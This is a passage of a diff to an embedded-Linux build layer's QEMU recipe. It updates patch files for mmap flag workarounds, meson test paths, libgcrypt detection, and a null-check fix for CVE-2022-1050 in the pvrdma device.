-Upstream-Status: Submitted http://lists.gnu.org/archive/html/qemu-devel/2018-01/msg04185.html
-Signed-off-by: Alistair Francis <alistair.francis@xilinx.com>
-
----
- linux-user/main.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/linux-user/main.c b/linux-user/main.c
-index 6ff7851e..ebff0485 100644
---- a/linux-user/main.c
-+++ b/linux-user/main.c
-@@ -78,7 +78,7 @@ int have_guest_base;
- (TARGET_LONG_BITS == 32 || defined(TARGET_ABI32))
- /* There are a number of places where we assign reserved_va to a variable
- of type abi_ulong and expect it to fit. Avoid the last page. */
--# define MAX_RESERVED_VA(CPU) (0xfffffffful & TARGET_PAGE_MASK)
-+# define MAX_RESERVED_VA(CPU) (0x7ffffffful & TARGET_PAGE_MASK)
- # else
- # define MAX_RESERVED_VA(CPU) (1ul << TARGET_VIRT_ADDR_SPACE_BITS)
- # endif
diff --git a/meta/recipes-devtools/qemu/qemu/0008-tests-meson.build-use-relative-path-to-refer-to-file.patch b/meta/recipes-devtools/qemu/qemu/0008-tests-meson.build-use-relative-path-to-refer-to-file.patch
new file mode 100644
index 0000000000..a84364ccc1
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0008-tests-meson.build-use-relative-path-to-refer-to-file.patch
@@ -0,0 +1,41 @@
+From 2bf9388b801d4389e2d57e95a7897bfc1c42786e Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Thu, 14 Jan 2021 06:33:04 +0000
+Subject: [PATCH 08/12] tests/meson.build: use relative path to refer to files
+
+Fix error like:
+Fatal error: can't create tests/ptimer-test.p/..._qemu-5.2.0_hw_core_ptimer.c.o: File name too long
+
+when build path is too long, use meson.source_root() will make this
+filename too long. Fixed by using relative path to refer to files
+
+Upstream-Status: Submitted [send to qemu-devel]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+
+---
+ tests/unit/meson.build | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+Index: qemu-8.0.0/tests/unit/meson.build
+===================================================================
+--- qemu-8.0.0.orig/tests/unit/meson.build
++++ qemu-8.0.0/tests/unit/meson.build
+@@ -46,7 +46,7 @@ tests = {
+ 'test-keyval': [testqapi],
+ 'test-logging': [],
+ 'test-uuid': [],
+- 'ptimer-test': ['ptimer-test-stubs.c', meson.project_source_root() / 'hw/core/ptimer.c'],
++ 'ptimer-test': ['ptimer-test-stubs.c', '../../hw/core/ptimer.c'],
+ 'test-qapi-util': [],
+ 'test-interval-tree': [],
+ 'test-xs-node': [qom],
+@@ -136,7 +136,7 @@ if have_system
+ 'test-util-sockets': ['socket-helpers.c'],
+ 'test-base64': [],
+ 'test-bufferiszero': [],
+- 'test-smp-parse': [qom, meson.project_source_root() / 'hw/core/machine-smp.c'],
++ 'test-smp-parse': [qom, '../../hw/core/machine-smp.c'],
+ 'test-vmstate': [migration, io],
+ 'test-yank': ['socket-helpers.c', qom, io, chardev]
+ }
diff --git a/meta/recipes-devtools/qemu/qemu/0009-Define-MAP_SYNC-and-MAP_SHARED_VALIDATE-on-needed-li.patch b/meta/recipes-devtools/qemu/qemu/0009-Define-MAP_SYNC-and-MAP_SHARED_VALIDATE-on-needed-li.patch
new file mode 100644
index 0000000000..4de6cc2445
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0009-Define-MAP_SYNC-and-MAP_SHARED_VALIDATE-on-needed-li.patch
@@ -0,0 +1,46 @@
+From ebf4bb2f51da83af0c61480414cfa156f7308b34 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 21 Mar 2022 10:09:38 -0700
+Subject: [PATCH 09/12] Define MAP_SYNC and MAP_SHARED_VALIDATE on needed linux
+ systems
+
+linux only wires MAP_SYNC and MAP_SHARED_VALIDATE for architectures
+which include asm-generic/mman.h and mips/powerpc are not including this
+file in linux/mman.h, therefore these should be defined for such
+architectures on Linux as well. This fixes build on mips/musl/linux
+
+Upstream-Status: Submitted [https://lists.nongnu.org/archive/html/qemu-devel/2022-03/msg05298.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Zhang Yi <yi.z.zhang@linux.intel.com>
+Cc: Michael S. Tsirkin <mst@redhat.com>
+
+---
+ util/mmap-alloc.c | 10 +++++++---
+ 1 file changed, 7 insertions(+), 3 deletions(-)
+
+Index: qemu-8.0.0/util/mmap-alloc.c
+===================================================================
+--- qemu-8.0.0.orig/util/mmap-alloc.c
++++ qemu-8.0.0/util/mmap-alloc.c
+@@ -10,14 +10,18 @@
+ * later. See the COPYING file in the top-level directory.
+ */
+
++#include "qemu/osdep.h"
+ #ifdef CONFIG_LINUX
+ #include <linux/mman.h>
+-#else /* !CONFIG_LINUX */
++#endif /* CONFIG_LINUX */
++
++#ifndef MAP_SYNC
+ #define MAP_SYNC 0x0
++#endif /* MAP_SYNC */
++#ifndef MAP_SHARED_VALIDATE
+ #define MAP_SHARED_VALIDATE 0x0
+-#endif /* CONFIG_LINUX */
++#endif /* MAP_SHARED_VALIDATE */
+
+-#include "qemu/osdep.h"
+ #include "qemu/mmap-alloc.h"
+ #include "qemu/host-utils.h"
+ #include "qemu/cutils.h"
diff --git a/meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch b/meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch
deleted file mode 100644
index eef3f3f97f..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch
+++ /dev/null
@@ -1,140 +0,0 @@
-From 815c97ba0de02da9dace3fcfcbdf9b20e029f0d7 Mon Sep 17 00:00:00 2001
-From: Martin Jansa <martin.jansa@lge.com>
-Date: Fri, 1 Jun 2018 08:41:07 +0000
-Subject: [PATCH] Fix webkitgtk builds
-
-This is a partial revert of "linux-user: fix mmap/munmap/mprotect/mremap/shmat".
-
-This patch fixes qemu-i386 hangs during gobject-introspection in webkitgtk build
-when musl is used on qemux86. This is the same issue that
-0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch was
-fixing in the 2.11 release.
-
-This patch also fixes a build failure when building webkitgtk for
-qemumips. A QEMU assert is seen while building webkitgtk:
-page_check_range: Assertion `start < ((target_ulong)1 << L1_MAP_ADDR_SPACE_BITS)' failed.
-
-This reverts commit ebf9a3630c911d0cfc9c20f7cafe9ba4f88cf583.
-
-Upstream-Status: Pending
-Signed-off-by: Alistair Francis <alistair.francis@wdc.com>
-
-[update patch context]
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- include/exec/cpu-all.h | 6 +-----
- include/exec/cpu_ldst.h | 5 ++++-
- linux-user/mmap.c | 17 ++++-------------
- linux-user/syscall.c | 5 +----
- 4 files changed, 10 insertions(+), 23 deletions(-)
-
-diff --git a/include/exec/cpu-all.h b/include/exec/cpu-all.h
-index 49384bb6..93b12519 100644
---- a/include/exec/cpu-all.h
-+++ b/include/exec/cpu-all.h
-@@ -162,12 +162,8 @@ extern unsigned long guest_base;
- extern int have_guest_base;
- extern unsigned long reserved_va;
-
--#if HOST_LONG_BITS <= TARGET_VIRT_ADDR_SPACE_BITS
--#define GUEST_ADDR_MAX (~0ul)
--#else
--#define GUEST_ADDR_MAX (reserved_va ? reserved_va - 1 : \
-+#define GUEST_ADDR_MAX (reserved_va ? reserved_va : \
- (1ul << TARGET_VIRT_ADDR_SPACE_BITS) - 1)
--#endif
- #else
-
- #include "exec/hwaddr.h"
-diff --git a/include/exec/cpu_ldst.h b/include/exec/cpu_ldst.h
-index 53de1975..cf19ed2e 100644
---- a/include/exec/cpu_ldst.h
-+++ b/include/exec/cpu_ldst.h
-@@ -70,7 +70,10 @@ typedef uint64_t abi_ptr;
- #if HOST_LONG_BITS <= TARGET_VIRT_ADDR_SPACE_BITS
- #define guest_addr_valid(x) (1)
- #else
--#define guest_addr_valid(x) ((x) <= GUEST_ADDR_MAX)
-+#define guest_addr_valid(x) ({ \
-+ ((x) < (1ul << TARGET_VIRT_ADDR_SPACE_BITS)) && \
-+ (!reserved_va || ((x) < reserved_va)); \
-+})
- #endif
- #define h2g_valid(x) guest_addr_valid((unsigned long)(x) - guest_base)
-
-diff --git a/linux-user/mmap.c b/linux-user/mmap.c
-index e3780337..1d4aba95 100644
---- a/linux-user/mmap.c
-+++ b/linux-user/mmap.c
-@@ -71,7 +71,7 @@ int target_mprotect(abi_ulong start, abi_ulong len, int prot)
- return -TARGET_EINVAL;
- len = TARGET_PAGE_ALIGN(len);
- end = start + len;
-- if (!guest_range_valid(start, len)) {
-+ if (end < start) {
- return -TARGET_ENOMEM;
- }
- prot &= PROT_READ | PROT_WRITE | PROT_EXEC;
-@@ -467,8 +467,8 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot,
- * It can fail only on 64-bit host with 32-bit target.
- * On any other target/host host mmap() handles this error correctly.
- */
-- if (!guest_range_valid(start, len)) {
-- errno = ENOMEM;
-+ if ((unsigned long)start + len - 1 > (abi_ulong) -1) {
-+ errno = EINVAL;
- goto fail;
- }
-
-@@ -604,10 +604,8 @@ int target_munmap(abi_ulong start, abi_ulong len)
- if (start & ~TARGET_PAGE_MASK)
- return -TARGET_EINVAL;
- len = TARGET_PAGE_ALIGN(len);
-- if (len == 0 || !guest_range_valid(start, len)) {
-+ if (len == 0)
- return -TARGET_EINVAL;
-- }
--
- mmap_lock();
- end = start + len;
- real_start = start & qemu_host_page_mask;
-@@ -662,13 +660,6 @@ abi_long target_mremap(abi_ulong old_addr, abi_ulong old_size,
- int prot;
- void *host_addr;
-
-- if (!guest_range_valid(old_addr, old_size) ||
-- ((flags & MREMAP_FIXED) &&
-- !guest_range_valid(new_addr, new_size))) {
-- errno = ENOMEM;
-- return -1;
-- }
--
- mmap_lock();
-
- if (flags & MREMAP_FIXED) {
-diff --git a/linux-user/syscall.c b/linux-user/syscall.c
-index 05f03919..d6f8cc97 100644
---- a/linux-user/syscall.c
-+++ b/linux-user/syscall.c
-@@ -4287,9 +4287,6 @@ static inline abi_ulong do_shmat(CPUArchState *cpu_env,
- return -TARGET_EINVAL;
- }
- }
-- if (!guest_range_valid(shmaddr, shm_info.shm_segsz)) {
-- return -TARGET_EINVAL;
-- }
-
- mmap_lock();
-
-@@ -7247,7 +7244,7 @@ static int open_self_maps(void *cpu_env, int fd)
- const char *path;
-
- max = h2g_valid(max - 1) ?
-- max : (uintptr_t) g2h(GUEST_ADDR_MAX) + 1;
-+ max : (uintptr_t) g2h(GUEST_ADDR_MAX);
-
- if (page_check_range(h2g(min), max - min, flags) == -1) {
- continue;
---
-2.24.0
-
diff --git a/meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch b/meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch
deleted file mode 100644
index 34df78b7fe..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch
+++ /dev/null
@@ -1,91 +0,0 @@
-From c207607cdf3996ad9783c3bffbcd3d65e74c0158 Mon Sep 17 00:00:00 2001
-From: He Zhe <zhe.he@windriver.com>
-Date: Wed, 28 Aug 2019 19:56:28 +0800
-Subject: [PATCH] configure: Add pkg-config handling for libgcrypt
-
-libgcrypt may also be controlled by pkg-config, this patch adds pkg-config
-handling for libgcrypt.
-
-Upstream-Status: Denied [https://lists.nongnu.org/archive/html/qemu-devel/2019-08/msg06333.html]
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
-
----
- configure | 48 ++++++++++++++++++++++++++++++++++++++++--------
- 1 file changed, 40 insertions(+), 8 deletions(-)
-
-diff --git a/configure b/configure
-index 72f11aca..cac271ce 100755
---- a/configure
-+++ b/configure
-@@ -2875,6 +2875,30 @@ has_libgcrypt() {
- return 0
- }
-
-+has_libgcrypt_pkgconfig() {
-+ if ! has $pkg_config ; then
-+ return 1
-+ fi
-+
-+ if ! $pkg_config --list-all | grep libgcrypt > /dev/null 2>&1 ; then
-+ return 1
-+ fi
-+
-+ if test -n "$cross_prefix" ; then
-+ host=$($pkg_config --variable=host libgcrypt)
-+ if test "${host%-gnu}-" != "${cross_prefix%-gnu}" ; then
-+ print_error "host($host) does not match cross_prefix($cross_prefix)"
-+ return 1
-+ fi
-+ fi
-+
-+ if ! $pkg_config --atleast-version=1.5.0 libgcrypt ; then
-+ print_error "libgcrypt version is $($pkg_config --modversion libgcrypt)"
-+ return 1
-+ fi
-+
-+ return 0
-+}
-
- if test "$nettle" != "no"; then
- pass="no"
-@@ -2915,7 +2939,14 @@ fi
-
- if test "$gcrypt" != "no"; then
- pass="no"
-- if has_libgcrypt; then
-+ if has_libgcrypt_pkgconfig; then
-+ gcrypt_cflags=$($pkg_config --cflags libgcrypt)
-+ if test "$static" = "yes" ; then
-+ gcrypt_libs=$($pkg_config --libs --static libgcrypt)
-+ else
-+ gcrypt_libs=$($pkg_config --libs libgcrypt)
-+ fi
-+ elif has_libgcrypt; then
- gcrypt_cflags=$(libgcrypt-config --cflags)
- gcrypt_libs=$(libgcrypt-config --libs)
- # Debian has removed -lgpg-error from libgcrypt-config
-@@ -2925,15 +2956,16 @@ if test "$gcrypt" != "no"; then
- then
- gcrypt_libs="$gcrypt_libs -lgpg-error"
- fi
-+ fi
-
-- # Link test to make sure the given libraries work (e.g for static).
-- write_c_skeleton
-- if compile_prog "" "$gcrypt_libs" ; then
-- LIBS="$gcrypt_libs $LIBS"
-- QEMU_CFLAGS="$QEMU_CFLAGS $gcrypt_cflags"
-- pass="yes"
-- fi
-+ # Link test to make sure the given libraries work (e.g for static).
-+ write_c_skeleton
-+ if compile_prog "" "$gcrypt_libs" ; then
-+ LIBS="$gcrypt_libs $LIBS"
-+ QEMU_CFLAGS="$QEMU_CFLAGS $gcrypt_cflags"
-+ pass="yes"
- fi
-+
- if test "$pass" = "yes"; then
- gcrypt="yes"
- cat > $TMPC << EOF
diff --git a/meta/recipes-devtools/qemu/qemu/0010-hw-pvrdma-Protect-against-buggy-or-malicious-guest-d.patch b/meta/recipes-devtools/qemu/qemu/0010-hw-pvrdma-Protect-against-buggy-or-malicious-guest-d.patch
new file mode 100644
index 0000000000..6caf35b634
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0010-hw-pvrdma-Protect-against-buggy-or-malicious-guest-d.patch
@@ -0,0 +1,40 @@
+CVE: CVE-2022-1050
+Upstream-Status: Submitted [https://lore.kernel.org/qemu-devel/20220403095234.2210-1-yuval.shaia.ml@gmail.com/]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From dbdef95c272e8f3ec037c3db4197c66002e30995 Mon Sep 17 00:00:00 2001
+From: Yuval Shaia <yuval.shaia.ml@gmail.com>
+Date: Sun, 3 Apr 2022 12:52:34 +0300
+Subject: [PATCH] hw/pvrdma: Protect against buggy or malicious guest driver
+
+Guest driver might execute HW commands when shared buffers are not yet
+allocated.
+This could happen on purpose (malicious guest) or because of some other
+guest/host address mapping error.
+We need to protect againts such case.
+
+Fixes: CVE-2022-1050
+
+Reported-by: Raven <wxhusst@gmail.com>
+Signed-off-by: Yuval Shaia <yuval.shaia.ml@gmail.com>
+---
+ hw/rdma/vmw/pvrdma_cmd.c | 6 ++++++
+ 1 file changed, 6 insertions(+)
+
+Index: qemu-8.0.0/hw/rdma/vmw/pvrdma_cmd.c
+===================================================================
+--- qemu-8.0.0.orig/hw/rdma/vmw/pvrdma_cmd.c
++++ qemu-8.0.0/hw/rdma/vmw/pvrdma_cmd.c
+@@ -782,6 +782,12 @@ int pvrdma_exec_cmd(PVRDMADev *dev)
+ goto out;
+ }
+
++ if (!dsr_info->dsr) {
++ /* Buggy or malicious guest driver */
++ rdma_error_report("Exec command without dsr, req or rsp buffers");
++ goto out;
++ }
++
+ if (dsr_info->req->hdr.cmd >= sizeof(cmd_handlers) /
+ sizeof(struct cmd_handler)) {
+ rdma_error_report("Unsupported command");
diff --git a/meta/recipes-devtools/qemu/qemu/0011-linux-user-workaround-for-missing-MAP_FIXED_NOREPLAC.patch b/meta/recipes-devtools/qemu/qemu/0011-linux-user-workaround-for-missing-MAP_FIXED_NOREPLAC.patch
new file mode 100644
index 0000000000..cc53b1eedd
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0011-linux-user-workaround-for-missing-MAP_FIXED_NOREPLAC.patch
@@ -0,0 +1,282 @@
+From fa9bcabe2387bb230ef82d62827ad6f93b8a1e61 Mon Sep 17 00:00:00 2001
+From: Frederic Konrad <fkonrad@amd.com>
+Date: Wed, 17 Jan 2024 18:15:06 +0000
+Subject: [PATCH 1/2] linux-user/*: workaround for missing MAP_FIXED_NOREPLACE
+
+QEMU v8.1.0 recently requires MAP_FIXED_NOREPLACE flags implementation for mmap.
+
+This is missing from ubuntu 18.04, thus this patch catches the mmap calls which
+could use that new flag and forwards them to mmap when MAP_FIXED_NOREPLACE
+flag isn't set or emulates them by checking the returned address w.r.t the
+requested address.
+
+Signed-off-by: Frederic Konrad <fkonrad@amd.com>
+Signed-off-by: Francisco Iglesias <francisco.iglesias@amd.com>
+
+Upstream-Status: Inappropriate [OE specific]
+
+The upstream only supports the last two major releases of an OS. The ones
+they have declared all have kernel 4.17 or newer.
+
+See:
+https://xilinx.slack.com/archives/D04G2647CTV/p1705074697942019
+
+https://www.qemu.org/docs/master/about/build-platforms.html
+
+ The project aims to support the most recent major version at all times for up
+ to five years after its initial release. Support for the previous major
+ version will be dropped 2 years after the new major version is released or
+ when the vendor itself drops support, whichever comes first.
+
+Signed-off-by: Mark Hatle <mark.hatle@amd.com>
+---
+ linux-user/elfload.c | 7 +++--
+ linux-user/meson.build | 1 +
+ linux-user/mmap-fixed.c | 63 +++++++++++++++++++++++++++++++++++++++++
+ linux-user/mmap-fixed.h | 39 +++++++++++++++++++++++++
+ linux-user/mmap.c | 31 +++++++++++---------
+ linux-user/syscall.c | 1 +
+ 6 files changed, 125 insertions(+), 17 deletions(-)
+ create mode 100644 linux-user/mmap-fixed.c
+ create mode 100644 linux-user/mmap-fixed.h
+
+Index: qemu-8.2.1/linux-user/elfload.c
+===================================================================
+--- qemu-8.2.1.orig/linux-user/elfload.c
++++ qemu-8.2.1/linux-user/elfload.c
+@@ -22,6 +22,7 @@
+ #include "qemu/error-report.h"
+ #include "target_signal.h"
+ #include "accel/tcg/debuginfo.h"
++#include "mmap-fixed.h"
+
+ #ifdef TARGET_ARM
+ #include "target/arm/cpu-features.h"
+@@ -2765,9 +2766,9 @@ static abi_ulong create_elf_tables(abi_u
+ static int pgb_try_mmap(uintptr_t addr, uintptr_t addr_last, bool keep)
+ {
+ size_t size = addr_last - addr + 1;
+- void *p = mmap((void *)addr, size, PROT_NONE,
+- MAP_ANONYMOUS | MAP_PRIVATE |
+- MAP_NORESERVE | MAP_FIXED_NOREPLACE, -1, 0);
++ void *p = mmap_fixed_noreplace((void *)addr, size, PROT_NONE,
++ MAP_ANONYMOUS | MAP_PRIVATE |
++ MAP_NORESERVE | MAP_FIXED_NOREPLACE, -1, 0);
+ int ret;
+
+ if (p == MAP_FAILED) {
+Index: qemu-8.2.1/linux-user/meson.build
+===================================================================
+--- qemu-8.2.1.orig/linux-user/meson.build
++++ qemu-8.2.1/linux-user/meson.build
+@@ -14,6 +14,7 @@ linux_user_ss.add(files(
+ 'linuxload.c',
+ 'main.c',
+ 'mmap.c',
++ 'mmap-fixed.c',
+ 'signal.c',
+ 'strace.c',
+ 'syscall.c',
+Index: qemu-8.2.1/linux-user/mmap-fixed.c
+===================================================================
+--- /dev/null
++++ qemu-8.2.1/linux-user/mmap-fixed.c
+@@ -0,0 +1,63 @@
++/*
++ * Workaround for MAP_FIXED_NOREPLACE
++ *
++ * Copyright (c) 2024, Advanced Micro Devices, Inc.
++ * Developed by Fred Konrad <fkonrad@amd.com>
++ *
++ * Permission is hereby granted, free of charge, to any person obtaining a copy
++ * of this software and associated documentation files (the "Software"), to deal
++ * in the Software without restriction, including without limitation the rights
++ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
++ * copies of the Software, and to permit persons to whom the Software is
++ * furnished to do so, subject to the following conditions:
++ *
++ * The above copyright notice and this permission notice shall be included in
++ * all copies or substantial portions of the Software.
++ *
++ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
++ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
++ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
++ * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
++ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
++ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
++ * THE SOFTWARE.
++ */
++
++#include <sys/mman.h>
++#include <errno.h>
++
++#ifndef MAP_FIXED_NOREPLACE
++#include "mmap-fixed.h"
++
++void *mmap_fixed_noreplace(void *addr, size_t len, int prot, int flags,
++ int fd, off_t offset)
++{
++ void *retaddr;
++
++ if (!(flags & MAP_FIXED_NOREPLACE)) {
++ /* General case, use the regular mmap. */
++ return mmap(addr, len, prot, flags, fd, offset);
++ }
++
++ /* Since MAP_FIXED_NOREPLACE is not implemented, try to emulate it. */
++ flags = flags & ~(MAP_FIXED_NOREPLACE | MAP_FIXED);
++ retaddr = mmap(addr, len, prot, flags, fd, offset);
++ if ((retaddr == addr) || (retaddr == MAP_FAILED)) {
++ /*
++ * Either the map worked and we get the good address so it can be
++ * returned, or it failed and would have failed the same with
++ * MAP_FIXED*, in which case return MAP_FAILED.
++ */
++ return retaddr;
++ } else {
++ /*
++ * Page has been mapped but not at the requested address.. unmap it and
++ * return EEXIST.
++ */
++ munmap(retaddr, len);
++ errno = EEXIST;
++ return MAP_FAILED;
++ }
++}
++
++#endif
+Index: qemu-8.2.1/linux-user/mmap-fixed.h
+===================================================================
+--- /dev/null
++++ qemu-8.2.1/linux-user/mmap-fixed.h
+@@ -0,0 +1,39 @@
++/*
++ * Workaround for MAP_FIXED_NOREPLACE
++ *
++ * Copyright (c) 2024, Advanced Micro Devices, Inc.
++ * Developed by Fred Konrad <fkonrad@amd.com>
++ *
++ * Permission is hereby granted, free of charge, to any person obtaining a copy
++ * of this software and associated documentation files (the "Software"), to deal
++ * in the Software without restriction, including without limitation the rights
++ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
++ * copies of the Software, and to permit persons to whom the Software is
++ * furnished to do so, subject to the following conditions:
++ *
++ * The above copyright notice and this permission notice shall be included in
++ * all copies or substantial portions of the Software.
++ *
++ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
++ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
++ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
++ * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
++ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
++ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
++ * THE SOFTWARE.
++ */
++
++#ifndef MMAP_FIXED_H
++#define MMAP_FIXED_H
++
++#ifndef MAP_FIXED_NOREPLACE
++#define MAP_FIXED_NOREPLACE 0x100000
++
++void *mmap_fixed_noreplace(void *addr, size_t len, int prot, int flags,
++ int fd, off_t offset);
++
++#else /* MAP_FIXED_NOREPLACE */
++#define mmap_fixed_noreplace mmap
++#endif /* MAP_FIXED_NOREPLACE */
++
++#endif /* MMAP_FIXED_H */
+Index: qemu-8.2.1/linux-user/mmap.c
+===================================================================
+--- qemu-8.2.1.orig/linux-user/mmap.c
++++ qemu-8.2.1/linux-user/mmap.c
+@@ -25,6 +25,7 @@
+ #include "user-mmap.h"
+ #include "target_mman.h"
+ #include "qemu/interval-tree.h"
++#include "mmap-fixed.h"
+
+ #ifdef TARGET_ARM
+ #include "target/arm/cpu-features.h"
+@@ -273,7 +274,7 @@ int target_mprotect(abi_ulong start, abi
+ static int do_munmap(void *addr, size_t len)
+ {
+ if (reserved_va) {
+- void *ptr = mmap(addr, len, PROT_NONE,
++ void *ptr = mmap_fixed_noreplace(addr, len, PROT_NONE,
+ MAP_FIXED | MAP_ANONYMOUS
+ | MAP_PRIVATE | MAP_NORESERVE, -1, 0);
+ return ptr == addr ? 0 : -1;
+@@ -319,9 +320,9 @@ static bool mmap_frag(abi_ulong real_sta
+ * outside of the fragment we need to map. Allocate a new host
+ * page to cover, discarding whatever else may have been present.
+ */
+- void *p = mmap(host_start, qemu_host_page_size,
+- target_to_host_prot(prot),
+- flags | MAP_ANONYMOUS, -1, 0);
++ void *p = mmap_fixed_noreplace(host_start, qemu_host_page_size,
++ target_to_host_prot(prot),
++ flags | MAP_ANONYMOUS, -1, 0);
+ if (p != host_start) {
+ if (p != MAP_FAILED) {
+ munmap(p, qemu_host_page_size);
+@@ -420,8 +421,9 @@ abi_ulong mmap_find_vma(abi_ulong start,
+ * - mremap() with MREMAP_FIXED flag
+ * - shmat() with SHM_REMAP flag
+ */
+- ptr = mmap(g2h_untagged(addr), size, PROT_NONE,
+- MAP_ANONYMOUS | MAP_PRIVATE | MAP_NORESERVE, -1, 0);
++ ptr = mmap_fixed_noreplace(g2h_untagged(addr), size, PROT_NONE,
++ MAP_ANONYMOUS | MAP_PRIVATE | MAP_NORESERVE,
++ -1, 0);
+
+ /* ENOMEM, if host address space has no memory */
+ if (ptr == MAP_FAILED) {
+@@ -615,16 +617,16 @@ abi_long target_mmap(abi_ulong start, ab
+ * especially important if qemu_host_page_size >
+ * qemu_real_host_page_size.
+ */
+- p = mmap(g2h_untagged(start), host_len, host_prot,
+- flags | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
++ p = mmap_fixed_noreplace(g2h_untagged(start), host_len, host_prot,
++ flags | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
+ if (p == MAP_FAILED) {
+ goto fail;
+ }
+ /* update start so that it points to the file position at 'offset' */
+ host_start = (uintptr_t)p;
+ if (!(flags & MAP_ANONYMOUS)) {
+- p = mmap(g2h_untagged(start), len, host_prot,
+- flags | MAP_FIXED, fd, host_offset);
++ p = mmap_fixed_noreplace(g2h_untagged(start), len, host_prot,
++ flags | MAP_FIXED, fd, host_offset);
+ if (p == MAP_FAILED) {
+ munmap(g2h_untagged(start), host_len);
+ goto fail;
+@@ -749,8 +751,9 @@ abi_long target_mmap(abi_ulong start, ab
+ len1 = real_last - real_start + 1;
+ want_p = g2h_untagged(real_start);
+
+- p = mmap(want_p, len1, target_to_host_prot(target_prot),
+- flags, fd, offset1);
++ p = mmap_fixed_noreplace(want_p, len1,
++ target_to_host_prot(target_prot),
++ flags, fd, offset1);
+ if (p != want_p) {
+ if (p != MAP_FAILED) {
+ munmap(p, len1);
+Index: qemu-8.2.1/linux-user/syscall.c
+===================================================================
+--- qemu-8.2.1.orig/linux-user/syscall.c
++++ qemu-8.2.1/linux-user/syscall.c
+@@ -145,6 +145,7 @@
+ #include "qapi/error.h"
+ #include "fd-trans.h"
+ #include "cpu_loop-common.h"
++#include "mmap-fixed.h"
+
+ #ifndef CLONE_IO
+ #define CLONE_IO 0x80000000 /* Clone io context */
diff --git a/meta/recipes-devtools/qemu/qemu/0012-linux-user-workaround-for-missing-MAP_SHARED_VALIDAT.patch b/meta/recipes-devtools/qemu/qemu/0012-linux-user-workaround-for-missing-MAP_SHARED_VALIDAT.patch
new file mode 100644
index 0000000000..48034a4680
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0012-linux-user-workaround-for-missing-MAP_SHARED_VALIDAT.patch
@@ -0,0 +1,51 @@
+From 5c73e53997df800a742f9cd7355f3045861984bb Mon Sep 17 00:00:00 2001
+From: Frederic Konrad <fkonrad@amd.com>
+Date: Thu, 18 Jan 2024 10:43:44 +0000
+Subject: [PATCH 2/2] linux-user/*: workaround for missing MAP_SHARED_VALIDATE
+
+QEMU v8.1.0 recently requires MAP_SHARED_VALIDATE flags implementation for mmap.
+
+This is missing from the Ubuntu 18.04 compiler but looks like to be in the
+kernel source.
+
+Signed-off-by: Frederic Konrad <fkonrad@amd.com>
+Signed-off-by: Francisco Iglesias <francisco.iglesias@amd.com>
+
+Upstream-Status: Inappropriate [OE specific]
+
+The upstream only supports the last two major releases of an OS. The ones
+they have declared all have kernel 4.17 or newer.
+
+See:
+https://xilinx.slack.com/archives/D04G2647CTV/p1705074697942019
+
+https://www.qemu.org/docs/master/about/build-platforms.html
+
+ The project aims to support the most recent major version at all times for up
+ to five years after its initial release. Support for the previous major
+ version will be dropped 2 years after the new major version is released or
+ when the vendor itself drops support, whichever comes first.
+
+Signed-off-by: Mark Hatle <mark.hatle@amd.com>
+---
+ linux-user/mmap-fixed.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/linux-user/mmap-fixed.h b/linux-user/mmap-fixed.h
+index ef6eef5114..ec86586c1f 100644
+--- a/linux-user/mmap-fixed.h
++++ b/linux-user/mmap-fixed.h
+@@ -26,6 +26,10 @@
+ #ifndef MMAP_FIXED_H
+ #define MMAP_FIXED_H
+
++#ifndef MAP_SHARED_VALIDATE
++#define MAP_SHARED_VALIDATE 0x03
++#endif
++
+ #ifndef MAP_FIXED_NOREPLACE
+ #define MAP_FIXED_NOREPLACE 0x100000
+
+--
+2.34.1
+
